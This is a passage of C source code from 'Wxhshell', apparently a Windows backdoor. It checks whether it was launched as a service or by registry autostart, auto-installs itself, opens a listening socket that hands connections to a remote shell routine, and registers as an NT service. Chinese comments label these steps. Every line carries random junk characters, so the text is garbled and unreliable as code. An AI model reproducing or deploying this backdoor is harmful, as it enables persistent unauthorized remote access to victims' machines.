ULONG InheritedFromUniqueProcessId; b7">IzAe
} PROCESS_BASIC_INFORMATION; Lo Y*,Aa&
(=Oo=8\
PROCNTQSIP NtQueryInformationProcess; .]a`-Ofn
m?1r@!/y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +bR|;b(v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1. <g C
F7/%,vf
HANDLE hProcess; uJ fXe
PROCESS_BASIC_INFORMATION pbi; ]l3Y=Cl
T-iQ!D~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); meXwmO
if(NULL == hInst ) return 0; ^; }Y ZBy
%sPq*w.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Y\7E/T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cBU3Q<^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ah(k!0PV
,|;\)tT
if (!NtQueryInformationProcess) return 0; epG =)gd=8
16nU`TN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D'^%Q_;u
if(!hProcess) return 0; b.8T<@a
YY$Z-u(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Ij/
^EC}
fQ-IM/z
CloseHandle(hProcess); *+00
oMYZ^b^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ixoN#'y<"
if(hProcess==NULL) return 0; 7{k?"NF
SL\15`[{
HMODULE hMod; fP8bWZ{
char procName[255]; C*11?B[
unsigned long cbNeeded; '$z@40u
i[z#5;x+<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U'Y,T$Q
ttt4h
CloseHandle(hProcess); u6:$AA
+1\t0P24
if(strstr(procName,"services")) return 1; // 以服务启动 G_WHW(8
W@%g_V}C*
return 0; // 注册表启动 o3NB3@uj<
} `=Bv+
u@`y/,PX
// 主模块 IJ:JH=8
int StartWxhshell(LPSTR lpCmdLine) V@EyU/VJ
{ 5yj6MaqJ
SOCKET wsl; .ezZ+@LI+#
BOOL val=TRUE; *Uf>Xr&
int port=0; hM=X#
;
struct sockaddr_in door; ER}5`*X{
%WX^']p
if(wscfg.ws_autoins) Install(); M6V^ur 1
Kw:%B|B<T
port=atoi(lpCmdLine); >66
`hZ
5Q8s{WQ
if(port<=0) port=wscfg.ws_port; C}pQFL{B5
;<%th
WSADATA data; ~LP5hL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %F}d'TPx
F ^m;xy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WA*1_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M!%|IKw
door.sin_family = AF_INET; -3m!970
door.sin_addr.s_addr = inet_addr("127.0.0.1"); uU-1;m#N?
door.sin_port = htons(port); afu!.}4Ct
,Vof<,x0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '!`]Zc
closesocket(wsl); qd~9uo&[Ig
return 1; ()n2 KT
} m,}GP^<1i
fhC| =0XB
if(listen(wsl,2) == INVALID_SOCKET) { 8KKhD$
closesocket(wsl); _kBx2>qQ
return 1; Jc` tOp5
} x0%@u^BF
Wxhshell(wsl); 5{v uN)K3
WSACleanup(); 0h{&k7T<7
GNHW bC6_m
return 0; OsRizcgdA
a6;5mx
} /xBO;'rR
x`2du/
C
// 以NT服务方式启动 SDk^fTV8x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {M\n
{ ;0uiO.
DWORD status = 0; 8kE3\#);\
DWORD specificError = 0xfffffff; %J9+`uSl
.S* sGauM
serviceStatus.dwServiceType = SERVICE_WIN32; C9,Uwz<!]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M~+DxnJ=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ][YC.J
serviceStatus.dwWin32ExitCode = 0; ft4hzmuzM
serviceStatus.dwServiceSpecificExitCode = 0; ,"YTG*ky
serviceStatus.dwCheckPoint = 0; JBLh4c3
serviceStatus.dwWaitHint = 0; d'b9.ki\
Oq)7XL4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C\^,+)Y\~
if (hServiceStatusHandle==0) return; }_7
0\!v{A>
I'
status = GetLastError(); QiJ
if (status!=NO_ERROR) 7")~JBH
{ {A)9ePgv!
serviceStatus.dwCurrentState = SERVICE_STOPPED; \BO6.;jA
serviceStatus.dwCheckPoint = 0; J=HN~B1
serviceStatus.dwWaitHint = 0; *55unc
serviceStatus.dwWin32ExitCode = status; n8`WU3&
serviceStatus.dwServiceSpecificExitCode = specificError; e_cK#9+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BKgCuz:y
return; D6C h6i5$
} BPVOBL@
x+DecO2
serviceStatus.dwCurrentState = SERVICE_RUNNING; cIrc@
serviceStatus.dwCheckPoint = 0; Q8.LlE999
serviceStatus.dwWaitHint = 0; kdhwnO
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |t~>Xs
} U~M!T#\s
gP |>gy#e
// 处理NT服务事件,比如:启动、停止 ViG>gMG v
VOID WINAPI NTServiceHandler(DWORD fdwControl) \p]B8hLW
{ #wZH.i#
switch(fdwControl) n9R0f9:*
{ 8xkLfN|N=
case SERVICE_CONTROL_STOP: U*go}dt"5
serviceStatus.dwWin32ExitCode = 0; U"~W3vwJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; KleiX7
serviceStatus.dwCheckPoint = 0; 5Yww,s
serviceStatus.dwWaitHint = 0; oY7jj=z#T
{ tk>J
mcTw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M|{NC`fa
} V7cr%tY5
return; mU.c!|Y
case SERVICE_CONTROL_PAUSE: Dv&K3^~Rfb
serviceStatus.dwCurrentState = SERVICE_PAUSED; p%K(dA
break; t 6lwKK
case SERVICE_CONTROL_CONTINUE: x0) WrDb
serviceStatus.dwCurrentState = SERVICE_RUNNING; r\)bN4-g
break; C;.,+(G
case SERVICE_CONTROL_INTERROGATE: K_!:oe7%
break; 9}H]4"f7
}; $+$l?2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p+dOw#
} (%"9LYv
IFhS(3YK[
// 标准应用程序主函数 c@J@*.q]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~@#a*="
{ ~R50-O
z\woTL6D]
// 获取操作系统版本 {Byh:-e<
OsIsNt=GetOsVer(); 6RDy2JAOP
GetModuleFileName(NULL,ExeFile,MAX_PATH); yT~x7,
BfD&